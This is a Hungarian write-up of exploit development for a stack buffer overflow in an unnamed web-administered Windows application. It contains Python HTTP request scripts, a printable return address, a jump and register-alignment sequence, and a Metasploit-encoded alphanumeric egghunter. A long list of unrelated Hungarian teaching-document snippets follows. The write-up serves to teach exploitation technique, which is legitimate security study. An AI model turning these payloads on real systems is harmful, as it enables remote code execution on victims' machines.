A hibát az alábbi Python program segítségével tudjuk előidézni:
|
|
- Árpád Tóth
- 9 évvel ezelőtt
- Látták:
Átírás
1 Bevezető Az ismertetésre kerülő biztonsági hiba 0day kategóriába tartozik, ezért sem a termék, sem a teljes hiba kihasználását lehetővé tevő kód bemutatása nem történik meg. A leírás célja az alkalmazott technika bemutatása. A dokumentum az alapvető memóriával, exploit írással kapcsolatos ismeretek közlését is mellőzi feltételezve, hogy az olvasó tisztába van ezekkel a dolgokkal. A vizsgálatok Windows 2003 SP2 rendszeren Immunity Debugger segítségével történtek. Sérülékeny pont keresése Ismertetés A cél szoftverben egy URL paraméterben átadott érték helytelen kezelése miatt lehetséges egy függvény visszatérési címét módosítani. A hiba sikeres kihasználásával a cél rendszeren saját operációs rendszer szintű parancsokat tudunk futtatni. A cél szoftver elindítása után egy webes felületen lehet az adminisztrációs feladatokat elvégezni. Első lépésben csatlakozunk a debugger segítségével a cél szoftverhez. Buffer overflow A hibát az alábbi Python program segítségével tudjuk előidézni: padding = A * 1000 buffer = "GET /vuln?objecttype=name&objectvalue=" + padding + " HTTP/1.1\r\n" buffer += "Host: :1337\r\n" buffer += "Content-type: application/x-www-form-urlencoded\r\n" buffer += "User-Agent: BackTrack\r\n" buffer += "Content-length: \r\n\r\n" s.send(buffer) s.close() 1
2 A debuggerben rögtön látható is a nem megfelelően kezelt bemenet által okozott gond: A fenti képen a program regisztereinek értékei láthatók a túlcsordulás után. Látható, hogy sikerült módosítani az EIP valamint az EBP regiszterek értékét a beküldött adatok segítségével (az A értéke hexadecimálisan 41). Jobban megvizsgálva a regiszterekben tárolt memória címeken található adatokat, rögtön felmerül az első probléma. Egyetlen regiszter sem mutat az általunk beküldött A betűk halmazára. A stacket megvizsgálva (ESP regiszter értéke mutat a stack tetejére) a következő problémával szembesülünk: A beküldött adatok a stack pointer (ESP) előtt helyezkednek el közvetlenül, ahogy az a 0x2237EB3C memóriacím előtt található 41 hexadecimális értékekből látható. A 2
3 fenti ábrából az is egyértelműen kiderül, hogy a beküldött 1000 byte adatnak csak a töredéke található a stack területen (0x2237EB00-0x2237EB3C). Probléma megoldási lehetőségek A konvencionális exploitálási technikák jelen esetben nem működnek az alábbi problémák miatt: egyik regiszter sem mutat az általunk beküldött adathalmazra, így egy ugró utasítással nem tudjuk a program működését az általunk kívánt helyre vezérelni (jmp esp, call eax, stb.) Meghatározott karakterkészlet áll a rendelkezésre az utasítások létrehozásához. A rendelkezésre álló 56 byte-os memóriaterületre egghuntert nem lehetséges bejuttatni, mivel az adatokat URL-ben adja át a program és ott csak nyomtatható karakterek szerepelhetnek, a különböző kódoló eljárások által generált URLsafe egghunter mérete pedig túl nagy a felhasználható területhez képest. A stack memóriaterület további vizsgálata feltárja, hogy a beküldött adatokra több helyen is hivatkoznak pointerek: A stack aktuális értékétől 50(0x38), 80(0x50), 100(0x64) byte-ra található memória címekre való hivatkozásokkal lehetséges a saját kódunk végrehajtása. Ezek a mutatók szerencsére a teljes, általunk beküldött adatmennyiségre mutatnak. Visszatérési cím keresése A fent említett karakterkészlet megszorítások miatt a visszatérési cím sem tartalmazhat nem nyomtatható karaktereket, valamint & jelet (0x26) sem, mivel az új paramétert jelentene az URL-ben, és levágná az általunk beküldött input adatokat. Az alábbi utasítások felelnek meg a kívánt eredmény eléréséhez: add esp, 38 3
4 ret add esp, 50 ret add esp, 64 ret Az Immunity Debugger segítségével az összes betöltött modulban tudunk ilyen és ehhez hasonló utasításokat keresni. A keresések eredményeit megvizsgálva tapasztalható, hogy a feltételeknek egyetlen utasítás sem felel meg. Minden memóriacím, amely a fent említett utasításokra mutat tartalmaz olyan karaktert, amely nem megengedett. Keresési elvek Mivel a fenti szabályszerűség alapján végzett keresés nem vezetett eredményre, ezért olyan utasítás csoportok összeállítása a cél, amely segítségével azonos eredményeket érhetünk el: add esp,38 ret pop regiszter add esp, 34 ret pop regiszter pop regiszter add esp,30 ret A fenti példa alapján tetszőleges mennyiségű teszt esetet lehetséges előállítani. Ezzel jelentősen megnövelhetjük a rendelkezésre álló potenciális visszatérési címek halmazát. Egy újabb keresést lefuttatva több megfelelő címet vizsgálhatunk meg: A csatolt keresés kimenet részleten látható, hogy több utasítás is megfelelő lehet: (0x26 miatt kizárt) (ASCII: awgq - megfelelő lehet) E POP ESI C4 34 ADD ESP, C3 RETN (ASCII: awge - megfelelő lehet) 4
5 E POP ESI C4 34 ADD ESP, C3 RETN D (8D miatt kizárt) E4 (E4 miatt kizárt) B (ASCII: awi; - megfelelő lehet) A 5E B 83C E C3 POP ESI ADD ESP,34 RETN A keresés eredményéből kiragadott potenciális lehetőségek közül szinte mindegyik visszatérési cím megfelelő, valamint az általunk kívánt utasításokat tartalmazza. Ezek alapján a visszatérési cím: 0x , amely minden szempontot teljesít. A visszatérési cím tesztelése A működés teszteléséhez módosítani kell az eddig megalkotott Python programot az alábbiak szerint: ret = \x64\x67\x77\x61 padding = A * 56 + ret buffer = "GET /vuln?objecttype=name&objectvalue=" + padding + " HTTP/1.1\r\n" buffer += "Host: :1337\r\n" buffer += "Content-type: application/x-www-form-urlencoded\r\n" buffer += "User-Agent: BackTrack\r\n" buffer += "Content-length: \r\n\r\n" s.send(buffer) s.close() A Python program ismételt elindítása előtt a debuggerben tegyünk egy breakpointot az általunk megadott visszatérési címre, így látható, hogy sikerült-e módosítani a program futását: 5
6 Feltételes ugrás A teszt program az általunk meghatározott ponton folytatja a végrehajtást. A beküldött adatoknak megfelelő utasításokat hajtja végre: A következő probléma akkor lép fel, amikor elérjük az általunk meghatározott visszatérési címet a végrehajtási láncban. Mivel utasítást reprezentál, ezért károsan befolyásolja a program működését. Az ilyen eseteknél az alábbi lehetséges megoldások jöhetnek szóba: olyan visszatérési cím keresése, amely nem befolyásolja károsan a program működését (jelen esetben hosszadalmas, valamint ezen kívül is sok feltételnek meg kell felelni) feltételes ugró utasítással kikerüljük a káros kódrészletet (hátránya, hogy minimum 33 byte-ot kell ugrani (hexa 0x21)). Mivel elég sok a rendelkezésre álló memóriaterület, így feltételes ugrással küszöböljük ki a problémát: A fenti ábrán látható, hogy a visszatérési címünk egy ugró utasítást reprezentál, viszont az 1F79DF24 memória címen a saját feltételes ugró utasításunk található, amely átadja a vezérlést egy másik memóriacímre. Az ugró utasítás végrehajtása után a saját shellcode-unkat futtathatjuk. 6
7 Saját kód futtatása A feltételek elviekben adottak, hogy saját kódot futtassunk. Ezt két technika segítségével tehetjük meg: egghunter alkalmazása és az eredeti shellcode valamilyen módon a memóriába juttatása (nop+jmp+eip+nop+egghunter) (valahol a memóriában shellcode) shellcode alkalmazása (nop+jmp+eip+nop+shellcode) A jelenlegi esetben a beküldött adatok mennyisége miatt mindkettő lehetőséget választhatnánk. A tesztelések alatt viszont kiderült, hogy tisztán a shellcode végrehajtás nem működik. A probléma pontos meghatározása nem történt meg, nagy valószínűséggel a folyamatban található egyéb szálak beleírnak a shellcode-ba. Egghunter Mivel az egghunter nem tartalmazhat speciális karaktereket, így a kiinduláshoz használt 32 byte-os kódot a szabályoknak megfelelő módon kell megváltoztatni. Az megfelelő egghunter előállításához a Metasploit keretrendszer msfencode alkalmazását használjuk: root@backtrack4:/pentest/exploits/metasploit3-3/msf3#./msfencode I egghunter_bin.txt BufferRegister=EAX -e x86/alpha_mixed [*] x86/alpha_mixed succeeded with size 125(iteration=1) buf = "\x50\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a" "\x56\x54\x58\x33\x30\x56\x58\x34\x41\x50\x30\x41\x33\x48" "\x48\x30\x41\x30\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51" "\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43" "\x4a\x4a\x49\x42\x46\x4d\x51\x49\x5a\x4b\x4f\x44\x4f\x50" "\x42\x46\x32\x42\x4a\x43\x32\x50\x58\x48\x4d\x46\x4e\x47" "\x4c\x43\x35\x50\x5a\x43\x44\x4a\x4f\x4f\x48\x50\x54\x46" "\x50\x50\x30\x50\x57\x4c\x4b\x4b\x4a\x4e\x4f\x42\x55\x4b" "\x5a\x4e\x4f\x44\x35\x4b\x57\x4b\x4f\x4d\x37\x41\x41" A BufferRegister opció segítségével beállítjuk, hogy az egghunterre mutató memóriacímet az EAX regiszterben találja a dekódoló eljárás (valamint kiküszöböljük a nem alfanumerikus karaktereket). Az teszt elején említésre került, hogy nem mutat egyetlen regiszter sem az általunk bejuttatni kívánt kódra. Megvizsgálva a stack tartalmát a visszatérési cím átírásakor látható, hogy 20 byte-ra a stacken tárolt visszatérési címtől található ismét egy mutató az általunk beküldött adatokra. Mivel a program vezérlését már tudjuk kontrollálni, így az alábbi művelettel be tudjuk tölteni az ott tárolt címet az EAX regiszterbe: 7
8 Hivatkozási problémák Technika megfelelően működik, egyetlen probléma van vele: nem az egghunter kezdő címére mutat, hanem a beküldött adatok kezdetére. Jelenleg így néz ki az általunk konstruált végrehajtási lánc: nop + feltételes_ugrás + visszatérési_cím + nop + POP_utasítások + nop + egghunter Az egghunter pontos meghatározásához a stackről felvett címhez kell az egghunterig felhasznált byte-okat hozzáadni. A megoldás kézenfekvőnek bizonyul egy összeadás művelettel. A probléma viszont, hogy mind az ADD (81XX) assembly művelet, mind az érték nem megengedett karaktereket tartalmaz. Felhasználva a regiszterekben tárolható értékek azon tulajdonságát, hogy ha nullából kivonunk egyet, 0xFFFFFFFF értéket kapunk (körbefordul), a kivonás (SUB) művelet segítségével is célt érhetünk. Ha az aktuális értékből kivonunk 0xFFFFFFFF-et, akkor az aktuális érték +1-et kapunk. Ezen információkat valamint a felhasználható karakterkészletet figyelembe véve, három kivonás segítségével meg tudjuk határozni az egghunter pontos címét: 8
9 A sikeres matematikai számítások után az aktuális payloadunk az alábbiak szerint módosul: nop + feltételes_ugrás + visszatérési_cím + nop + POP_utasítások + EAX_kalkuláció + nop + egghunter. A Python programba az alábbi változtatásokat kell átvezetni: eh =( "\x50\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a" "\x56\x54\x58\x33\x30\x56\x58\x34\x41\x50\x30\x41\x33\x48" "\x48\x30\x41\x30\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51" "\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43" "\x4a\x4a\x49\x42\x46\x4d\x51\x49\x5a\x4b\x4f\x44\x4f\x50" "\x42\x46\x32\x42\x4a\x43\x32\x50\x58\x48\x4d\x46\x4e\x47" "\x4c\x43\x35\x50\x5a\x43\x44\x4a\x4f\x4f\x48\x50\x54\x46" "\x50\x50\x30\x50\x57\x4c\x4b\x4b\x4a\x4e\x4f\x42\x55\x4b" "\x5a\x4e\x4f\x44\x35\x4b\x57\x4b\x4f\x4d\x37\x41\x41" ) jmp = "\x75\x21\x41\x41" #jnz ret = "\x64\x67\x77\x61" align = ( "\x58\x58\x58\x58\x58\x58" "\x2d" "\x35\x66\x66\x66" "\x2d" "\x31\x66\x66\x66" 9
10 "\x2d" "\x24\x33\x33\x33" ) padding = "\x41" *52 + jmp + ret + "\x41"*27 + align + "\x41"*10 + eh + "\x41"*( ) buffer = "GET /vuln?objecttype=name&objectvalue=" + padding + " HTTP/1.1\r\n" buffer += "Host: :1337\r\n" buffer += "Content-type: application/x-www-form-urlencoded\r\n" buffer += "User-Agent: BackTrack\r\n" buffer += "Content-length: \r\n\r\n" A fenti módosított kód futtatása esetén látható, hogy az általunk kívánt memória cím kerül az EAX regiszterbe. Ezek után az egghunter előállítja az eredeti payload-ot, amely segítségével képesek leszünk megkeresni azt az adathalmazt a memóriában, ami az általunk végrehajtani kívánt kódot tartalmazza. Legegyszerűbb eset, hogy a HTTP fejlécek valamelyikében juttatjuk be a program memóriájába az információt (pl.: User- Agent mező). 10
Jelszavak helyes megválasztása, szótáras törés. Pánczél Zoltán
Jelszavak helyes megválasztása, szótáras törés Pánczél Zoltán 1 Miért fontos a megfelelő jelszó? Nagyban növeli a rendszer biztonságát. Könnyű jelszó = Nincs jelszó A teljes rendszer biztonsága tőlünk
A 32 bites x86-os architektúra regiszterei
Memória címzési módok Jelen nayagrészben az Intel x86-os architektúrára alapuló 32 bites processzorok programozását tekintjük. Egy program futása során (legyen szó a program vezérléséről vagy adatkezelésről)
Programozás alapjai. 10. előadás
10. előadás Wagner György Általános Informatikai Tanszék Pointerek, dinamikus memóriakezelés A PC-s Pascal (is) az IBM PC memóriáját 4 fő részre osztja: kódszegmens adatszegmens stackszegmens heap Alapja:
Hírközlő rendszerek biztonsága laboratórium Számítógépes rendszerek sebezhetőségének vizsgálata
Hírközlő rendszerek biztonsága laboratórium Számítógépes rendszerek sebezhetőségének vizsgálata Budapesti Műszaki és Gazdaságtudományi Egyetem Híradástechnikai Tanszék 2009. Számítógépes rendszerek sebezhetőségének
Assembly Utasítások, programok. Iványi Péter
Assembly Utasítások, programok Iványi Péter Assembly programozás Egyszerű logikán alapul Egy utasítás CSAK egy dolgot csinál Magas szintű nyelven: x = 5 * z + y; /* 3 darab művelet */ Assembly: Szorozzuk
Adatelérés és memóriakezelés
Adatelérés és memóriakezelés Jelen nayagrészben az Intel x86-os architektúrára alapuló 32 bites processzorok programozását tekintjük. Egy program futása során (legyen szó a program vezérléséről vagy adatkezelésről)
Assembly. Iványi Péter
Assembly Iványi Péter További Op. rsz. funkcionalitások PSP címének lekérdezése mov ah, 62h int 21h Eredmény: BX = PSP szegmens címe További Op. rsz. funkcionalitások Paraméterek kimásolása mov di, parameter
A programozás alapjai
A programozás alapjai Változók A számítógép az adatokat változókban tárolja A változókat alfanumerikus karakterlánc jelöli. A változóhoz tartozó adat tipikusan a számítógép memóriájában tárolódik, szekvenciálisan,
Stack Vezérlés szerkezet Adat 2.
Stack Vezérlés szerkezet Adat 2. Kód visszafejtés. Izsó Tamás 2013. november 14. Izsó Tamás Stack Vezérlés szerkezet Adat 2./ 1 Változó típusú paraméterekátadása 1. #include < s t d i o. h> int64 myfunc
találhatók. A memória-szervezési modell mondja meg azt, hogy miként
Memória címzési módok Egy program futása során (legyen szó a program vezérléséről vagy adatkezelésről) a program utasításai illetve egy utasítás argumentumai a memóriában találhatók. A memória-szervezési
Mi az assembly? Gyakorlatias assembly bevezető. Sokféle assembly van... Mit fogunk mi használni? A NASM fordítóprogramja. Assembly programok fordítása
Mi az assembly Gyakorlatias assembly bevezető Fordítóprogramok előadás (A, C, T szakirány) programozási nyelvek egy csoportja gépközeli: az adott processzor utasításai használhatóak általában nincsenek
Biztonságos programozás Puffer túlcsordulásos támadások
Biztonságos programozás Puffer túlcsordulásos támadások Intel x68 Izsó Tamás 2015. október 5. Izsó Tamás Biztonságos programozás Puffer túlcsordulásos támadások/ 1 Section 1 Puffer túlcsordulás sebezhetőség
Gyakorló feladatok. /2 Maradék /16 Maradék /8 Maradék
Gyakorló feladatok Számrendszerek: Feladat: Ábrázold kettes számrendszerbe a 639 10, 16-os számrendszerbe a 311 10, 8-as számrendszerbe a 483 10 számot! /2 Maradék /16 Maradék /8 Maradék 639 1 311 7 483
Mutatók és mutató-aritmetika C-ben március 19.
Mutatók és mutató-aritmetika C-ben 2018 március 19 Memória a Neumann-architektúrában Neumann-architektúra: a memória egységes a címzéshez a természetes számokat használjuk Ugyanabban a memóriában van:
Fordító részei. Fordító részei. Kód visszafejtés. Izsó Tamás szeptember 29. Izsó Tamás Fordító részei / 1
Fordító részei Kód visszafejtés. Izsó Tamás 2016. szeptember 29. Izsó Tamás Fordító részei / 1 Section 1 Fordító részei Izsó Tamás Fordító részei / 2 Irodalom Izsó Tamás Fordító részei / 3 Irodalom Izsó
A számok kiírása is alapvetően karakterek kiírásán alapul, azonban figyelembe kell venni, hogy a számjegyeket, mint karaktereket kell kiírni.
Példák számok kiírására A számok kiírása is alapvetően karakterek kiírásán alapul, azonban figyelembe kell venni, hogy a számjegyeket, mint karaktereket kell kiírni. Decimális számok kiírása Az alábbi
Assembly utasítások listája
Assembly utasítások listája Bevezetés: Ebben a segédanyagban a fontosabb assembly utasításokat szedtem össze. Az utasítások csoportosítva vannak. A fontos kategóriába azok az utasítások tartoznak, amiknek
Operációs rendszerek III.
A WINDOWS NT memóriakezelése Az NT memóriakezelése Memóriakezelő feladatai: Logikai-fizikai címtranszformáció: A folyamatok virtuális címterének címeit megfelelteti fizikai címeknek. A virtuális memóriakezelés
Balaton Marcell Balázs. Assembly jegyzet. Az Assembly egy alacsony szintű nyelv, mely a gépi kódú programozás egyszerűsítésére született.
Balaton Marcell Balázs Assembly jegyzet Az Assembly egy alacsony szintű nyelv, mely a gépi kódú programozás egyszerűsítésére született. 1. Regiszterek Regiszterek fajtái a. Szegmensregiszterek cs (code):
SZÁMÍTÓGÉPEK BELSŐ FELÉPÍTÉSE - 1
INFORMATIKAI RENDSZEREK ALAPJAI (INFORMATIKA I.) 1 NEUMANN ARCHITEKTÚRÁJÚ GÉPEK MŰKÖDÉSE SZÁMÍTÓGÉPEK BELSŐ FELÉPÍTÉSE - 1 Ebben a feladatban a következőket fogjuk áttekinteni: Neumann rendszerű számítógép
Adatbázis és szoftverfejlesztés elmélet
Adatbázis és szoftverfejlesztés elmélet Témakör 4. Összefoglalás 1. A kódolás eszközei Általános szövegszerkesztő Programozói szövegszerkesztő Fejlesztői környezet Vizuális fejlesztői környezet Általános
Digitális rendszerek. Utasításarchitektúra szintje
Digitális rendszerek Utasításarchitektúra szintje Utasításarchitektúra Jellemzők Mikroarchitektúra és az operációs rendszer közötti réteg Eredetileg ez jelent meg először Sokszor az assembly nyelvvel keverik
OpenCL alapú eszközök verifikációja és validációja a gyakorlatban
OpenCL alapú eszközök verifikációja és validációja a gyakorlatban Fekete Tamás 2015. December 3. Szoftver verifikáció és validáció tantárgy Áttekintés Miért és mennyire fontos a megfelelő validáció és
Biztonságos programozás Puffer túlcsordulásos támadások
Biztonságos programozás Puffer túlcsordulásos támadások Izsó Tamás 2015 október 12 Izsó Tamás Biztonságos programozás Puffer túlcsordulásos támadások/ 1 Section 1 DEP támadás Izsó Tamás Biztonságos programozás
Paraméter átadás regisztereken keresztül
Eljárások paramétereinek átadási módjai Az eljárások deklarációjánál nincs mód arra, hogy paramétereket adjunk meg, ezért más, közvetett módon tudunk átadni paramétereket az eljárásoknak. Emlékeztetőül:
1. Az utasítás beolvasása a processzorba
A MIKROPROCESSZOR A mikroprocesszor olyan nagy bonyolultságú félvezető eszköz, amely a digitális számítógép központi egységének a feladatait végzi el. Dekódolja az uatasításokat, vezérli a műveletek elvégzéséhez
A TURBO DEBUGGER HASZNÁLATA
HASZNÁLATA Az eddig megírt programjaink működését nem tudtuk ellenőrizni, így elég kényelmetlen programozni, hogy nem látjuk, tényleg azt csinálja-e a program, amit elvárunk tőle. Ha valami rosszul működik,
Pénzügyi algoritmusok
Pénzügyi algoritmusok A C++ programozás alapjai Tömbök (3. rész) Konstansok Kivételkezelés Tömbök 3. Többdimenziós tömbök Többdimenziós tömbök int a; Többdimenziós tömbök int a[5]; Többdimenziós tömbök
Archi2 Gyak. (Processzorok Utasításszintű Kezelése) 2014 ősz
Archi2 Gyak (Processzorok Utasításszintű Kezelése) 2014 ősz Ajánlott irodalom Agárdi Gábor: Gyakorlati Assembly, LSI Oktatóközpont, 1996, ISBN 963 577 117 7 Agárdi G.: Gyakorlati Assembly haladóknak, LSI
1. Bevezető. 2. Sérülékenységek
1. Bevezető A dokumentum összefoglalja a Silent Signal Kft. szakértőinek 2011-ben elért kutatási és fejlesztési eredményeit. Ebben az időszakban munkatársaink 16 sebezhetőséget azonosítottak elterjedt
Memóriagazdálkodás. Kódgenerálás. Kódoptimalizálás
Kódgenerálás Memóriagazdálkodás Kódgenerálás program prológus és epilógus értékadások fordítása kifejezések fordítása vezérlési szerkezetek fordítása Kódoptimalizálás L ATG E > TE' E' > + @StPushAX T @StPopBX
OOP #14 (referencia-elv)
OOP #14 (referencia-elv) v1.0 2003.03.19. 21:22:00 Eszterházy Károly Főiskola Információtechnológia tsz. Hernyák Zoltán adj. e-mail: aroan@ektf.hu web: http://aries.ektf.hu/~aroan OOP OOP_14-1 - E jegyzet
C memóriakezelés. Mutató típusú változót egy típus és a változó neve elé írt csillag karakterrel hozhatjuk létre.
C memóriakezelés Ez a kis segédanyag az adatszerkezetek órán használt eszközök megértését hivatott elősegíteni. A teljesség igénye nélkül kerül bemutatásra a mutató típus és a dinamikus memóriakezelés.
Programzás I. - 1. gyakorlat
Programzás I. - 1. gyakorlat Alapok Tar Péter 1 Pannon Egyetem Műszaki Informatikai Kar Számítástudomány Alkalmazása Tanszék Utolsó frissítés: September 15, 2007 1 tar@dcs.vein.hu Tar Péter (PE-MIK-DCS)
Programozás alapjai Bevezetés
Programozás alapjai Bevezetés Miskolci Egyetem Általános Informatikai Tanszék Programozás alapjai Bevezetés SWF1 / 1 Tartalom A gépi kódú programozás és hátrányai A magas szintÿ programozási nyelv fogalma
5-6. ea Created by mrjrm & Pogácsa, frissítette: Félix
2. Adattípusonként különböző regisztertér Célja: az adatfeldolgozás gyorsítása - különös tekintettel a lebegőpontos adatábrázolásra. Szorzás esetén karakterisztika összeadódik, mantissza összeszorzódik.
Adatok ábrázolása, adattípusok
Adatok ábrázolása, adattípusok Összefoglalás Adatok ábrázolása, adattípusok Számítógépes rendszerek működés: információfeldolgozás IPO: input-process-output modell információ tárolása adatok formájában
Processzorok Utasításszintű Kezelése tavasz
Processzorok Utasításszintű Kezelése 2014 tavasz Ajánlott irodalom Agárdi Gábor: Gyakorlati Assembly, LSI Oktatóközpont, 1996, ISBN 963 577 117 7 Agárdi G.: Gyakorlati Assembly haladóknak, LSI oktatóközpont,
Internet technológiák
Szabadkai Műszaki Szakfőiskola Internet technológiák dr Zlatko Čović chole@vts.su.ac.rs 1 XHTML űrlapok 2 XHTML űrlapok Minden űrlap jelölőelem a: form{action, enctype, method} Űrlaptartalom /form jelölőelem
Programozás II. Fájlkezelés
Programozás II. Fájlkezelés Kocsis Zoltán Tamás 2013. 03. 28 Fájlkezelés Az stdio.h-ban megadott FILE* típusú pointerrel és függvényekkel lehet elérni a fájlunkat. FILE *fp; /* fájl mutató (file pointer/handle)
Aritmetikai utasítások I.
Aritmetikai utasítások I. Az értékadó és aritmetikai utasítások során a címzési módok különböző típusaira látunk példákat. A 8086/8088-as mikroprocesszor memóriája és regiszterei a little endian tárolást
Algoritmusok és adatszerkezetek gyakorlat 06 Adatszerkezetek
Algoritmusok és adatszerkezetek gyakorlat 06 Adatszerkezetek Tömb Ugyanolyan típusú elemeket tárol A mérete előre definiált kell legyen és nem lehet megváltoztatni futás során Legyen n a tömb mérete. Ekkor:
Biztonságos programozás Puffer túlcsordulásos támadások
Biztonságos programozás Puffer túlcsordulásos támadások Intel x68 Izsó Tamás 2015. október 13. Izsó Tamás Biztonságos programozás Puffer túlcsordulásos támadások/ 1 Section 1 Támadások Izsó Tamás Biztonságos
Máté: Számítógép architektúrák
A mikroprogram Mic 1: 4.. ábra. 51x3 bites vezérlőtár a mikroprogramnak, MPC (MicroProgram Counter): mikroprogram utasításszámláló. MIR (MicroInstruction Register): mikroutasítás regiszter. Az adatút ciklus
Adatszerkezetek 1. Dr. Iványi Péter
Adatszerkezetek 1. Dr. Iványi Péter 1 Adat Adat minden, amit a számítógépünkben tárolunk és a külvilágból jön Az adatnak két fontos tulajdonsága van: Értéke Típusa 2 Adat típusa Az adatot kódoltan tároljuk
Ütemezett küldés fogyasztásmérő óra állásról inels-bus rendszerben
Ütemezett e-mail küldés fogyasztásmérő óra állásról inels-bus rendszerben Beállíthatjuk az inels-rendszerben, hogy az pl. minden hónap elsején 8:00-kor elküldje a megadott e- mail címre a villanyóra állását
Architektúra, megszakítási rendszerek
Architektúra, megszakítási ek Mirıl lesz szó? Megszakítás fogalma Megszakítás folyamata Többszintű megszakítási ek Koschek Vilmos Példa: Intel Pentium vkoschek@vonalkodhu Koschek Vilmos Fogalom A számítógép
Az interrupt Benesóczky Zoltán 2004
Az interrupt Benesóczky Zoltán 2004 1 Az interrupt (program megszakítás) órajel generátor cím busz környezet RESET áramkör CPU ROM RAM PERIF. adat busz vezérlõ busz A periféria kezelés során információt
Adatszerkezetek Tömb, sor, verem. Dr. Iványi Péter
Adatszerkezetek Tömb, sor, verem Dr. Iványi Péter 1 Adat Adat minden, amit a számítógépünkben tárolunk és a külvilágból jön Az adatnak két fontos tulajdonsága van: Értéke Típusa 2 Adat típusa Az adatot
Verifikáció és validáció Általános bevezető
Verifikáció és validáció Általános bevezető Általános Verifikáció és validáció verification and validation - V&V: ellenőrző és elemző folyamatok amelyek biztosítják, hogy a szoftver megfelel a specifikációjának
Assembly Címzési módok. Iványi Péter
Assembly Címzési módok Iványi Péter Gépi kód Gépi kód = amit a CPU megért 1-13 byte hosszúak lehetnek az utasítások Kb. 20 000 variációja van a gépi kódú utasításoknak Számítógép architektúrától függ Feszültség
Az assembly nyelv sor-orientált nyelv, tehát minden sorba pontosan egy utasítás kerül. Egy sor mezőkből áll a következőképpen:
Informatika szigorlat 16-os tétel: Az assembly nyelvek tulajdonságai és fordítása Az assembly nyelv tulajdonképpen a gépi kód szimbolikus megfelelője, azért jött létre, hogy könnyebben lehessen programozni
8. gyakorlat Pointerek, dinamikus memóriakezelés
8. gyakorlat Pointerek, dinamikus memóriakezelés Házi ellenőrzés Egy számtani sorozat első két tagja A1 és A2. Számítsa ki a sorozat N- dik tagját! (f0051) Egy mértani sorozat első két tagja A1 és A2.
17. A 2-3 fák és B-fák. 2-3 fák
17. A 2-3 fák és B-fák 2-3 fák Fontos jelentősége, hogy belőlük fejlődtek ki a B-fák. Def.: Minden belső csúcsnak 2 vagy 3 gyermeke van. A levelek egy szinten helyezkednek el. Az adatrekordok/kulcsok csak
Felhasználói kézikönyv
www.novell.com/documentation Felhasználói kézikönyv Vibe 3.4 2013. július 1. Jogi nyilatkozat A Novell, Inc. nem vállal szavatosságot, jótállást, valamint semmilyen más garanciát és felelősséget a jelen
Számítógépek felépítése, alapfogalmak
2. előadás Számítógépek felépítése, alapfogalmak Lovas Szilárd, Krankovits Melinda SZE MTK MSZT kmelinda@sze.hu B607 szoba Nem reprezentatív felmérés kinek van ilyen számítógépe? 2 Nem reprezentatív felmérés
C programozási nyelv Pointerek, tömbök, pointer aritmetika
C programozási nyelv Pointerek, tömbök, pointer aritmetika Dr. Schuster György 2011. június 16. C programozási nyelv Pointerek, tömbök, pointer aritmetika 2011. június 16. 1 / 15 Pointerek (mutatók) Pointerek
HÁZI FELADAT ELSŐ GYAKORLAT MIELŐTT ELKEZDENÉNK ELINDULÁS. ÜZLETI INFORMATIKAI ESZKÖZÖK Kiadványszerkesztés
1 ELSŐ GYAKORLAT HÁZI FELADAT A feladat megoldása során a Word 2010 használata a javasolt. Ebben a feladatban a következőket fogjuk gyakorolni: A súgó használata. Microsoft Office Word testreszabása. Dokumentumok
Moduláris USB billentyűzet emulátor
Moduláris USB billentyűzet emulátor Használati és programozási leírás 2016. április Ismertető A modul alkalmas általános célú HID eszközként a számítógéphez csatlakoztatva szabványos billentyűzet emulációjára.
Miután létrehoztuk, szeretnénk neki beszédesebb nevet adni. A név változtatásához a következőt kell tenni:
Excel objektumok Az excelben az osztályokat úgynevezett class modulokként hozzuk létre. Miután létrehoztuk, szeretnénk neki beszédesebb nevet adni. A név változtatásához a következőt kell tenni: View-ba
A vezérlő alkalmas 1x16, 2x16, 2x20, 4x20 karakteres kijelzők meghajtására. Az 1. ábrán látható a modul bekötése.
Soros LCD vezérlő A vezérlő modul lehetővé teszi, hogy az LCD-t soros vonalon illeszthessük alkalmazásunkhoz. A modul több soros protokollt is támogat, úgy, mint az RS232, I 2 C, SPI. Továbbá az LCD alapfunkcióit
Introduction to 8086 Assembly
Introduction to 886 Assembly Lecture 7 D and N-D Arrays D Arrays 4 5 tabular data rows and columns 4 6 8 6 9 5 4 8 6 D Arrays 4 5 4 6 8 6 9 5 https://advancedmathclubsk.weebly.com/matrices.html 4 8 6 5
Máté: Számítógép architektúrák
MPC új tartalma, JMPC JMPC esetén MPC 8 alacsonyabb helyértékű bitjének és MR 8 bitjének bitenkénti vagy kapcsolata képződik MPC-ben az adatút ciklus vége felé (MR megérkezése után). Ilyenkor Addr 8 alacsonyabb
Programozási Nyelvek: C++
Programozási Nyelvek: C++ Gyakorló feladatkönyv Umann Kristóf #include "CppStudent.h" int main() { CppStudent *reader = new CppStudent(); reader->readbook(); while(!reader->doesunderstand()) { reader->exercise();
1. ábra: Perifériára való írás idődiagramja
BELÉPTETŐ RENDSZER TERVEZÉSE A tárgy első részében tanult ismeretek részbeni összefoglalására tervezzük meg egy egyszerű mikroprocesszoros rendszer hardverét, és írjuk meg működtető szoftverét! A feladat
Készítette: Trosztel Mátyás Konzulens: Hajós Gergely
Készítette: Trosztel Mátyás Konzulens: Hajós Gergely Monte Carlo Markov Chain MCMC során egy megfelelően konstruált Markov-lánc segítségével mintákat generálunk. Ezek eloszlása követi a céleloszlást. A
Karunkról Kari digitális könyvtár
. előadás Jegyzet www.inf.elte.hu Karunkról Kari digitális könyvtár i az assembly? gépi kód: a számítógép által közvetlenül értelmezett és végrehajtott jelsorozat assembly: a gépi kód emberek számára könnyen
Digitális aláíró program telepítése az ERA rendszeren
Digitális aláíró program telepítése az ERA rendszeren Az ERA felületen a digitális aláírásokat a Ponte webes digitális aláíró program (Ponte WDAP) segítségével lehet létrehozni, amely egy ActiveX alapú,
Flex tutorial. Dévai Gergely
Flex tutorial Dévai Gergely A Flex (Fast Lexical Analyser) egy lexikáliselemz -generátor: reguláris kifejezések sorozatából egy C/C++ programot generál, ami szövegfájlokat képes lexikai elemek sorozatára
Bonyolultságelmélet. Monday 26 th September, 2016, 18:50
